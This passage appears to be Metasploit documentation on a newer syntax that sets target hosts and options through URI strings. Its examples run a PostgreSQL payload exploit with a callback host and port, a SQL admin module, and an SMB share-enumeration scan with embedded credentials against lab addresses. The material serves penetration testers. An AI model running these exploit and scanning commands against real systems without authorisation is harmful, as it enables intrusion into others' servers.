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## Examples
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Traditional usage of Metasploit involves loading a module, and setting multiple options individually:
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```
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use exploit/linux/postgres/postgres_payload
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set username administrator
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set password pass
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set rhost 192.168.123.6
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set rport 5432
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set database postgres
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set lhost 192.168.123.1
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set lport 5000
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run
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```
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Traditionally, you can also specify multiple RHOSTS separated by spaces or with a CIDR subnet mask:
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```
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set rhosts 127.0.0.1 127.0.0.2
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set rhosts 127.0.0.1/24
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```
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This document describes a modern approach to setting multiple options in a command. This workflow will not only make it easier to use `reverse-i-search` with `CTRL+R` in Metasploit's console, but it will also make it easier to share cheat sheets amongst pentesters.
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### URI support for RHOSTS
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Metasploit now supports the use of [URI](https://en.wikipedia.org/wiki/Uniform_Resource_Identifier) strings as arguments to the run command to specify RHOST values and option values at once:
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```
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use exploit/linux/postgres/postgres_payload
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run postgres://administrator:pass@192.168.123.6 lhost=192.168.123.1 lport=5000
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```
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The following protocols are currently supported, and described in more detail below:
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- cidr - Can be combined with other protocols to specify address subnet mask length
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- file - Load a series of RHOST values separated by newlines from a file. This file can also include URI strings
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- http
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- https
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- mysql
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- postgres
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- smb
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- ssh
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To preserve whitespace, regardless of the protocol, use quotes:
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```
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use auxiliary/admin/postgres/postgres_sql
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run 'postgres://user:this is my password@192.168.1.123/database_name' sql='select version()'
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```
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In some scenarios it may be too troublesome to escape quotes within a password. In this scenario it possible to still set the password option manually and use the URI argument without a password specified, the module will gracefully fallback to using the manually set password:
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```
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set password !@£$%^&*()"'
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run smb://user@192.168.123.13
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```
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You can also specify multiple RHOST arguments, as well as provide additionally inlined options:
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```
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use scanner/smb/smb_enumshares
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run smb://test:test@192.168.1.223 smb://user:password@192.168.1.223 smb://test:test@127.0.0.1 verbose=true
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```
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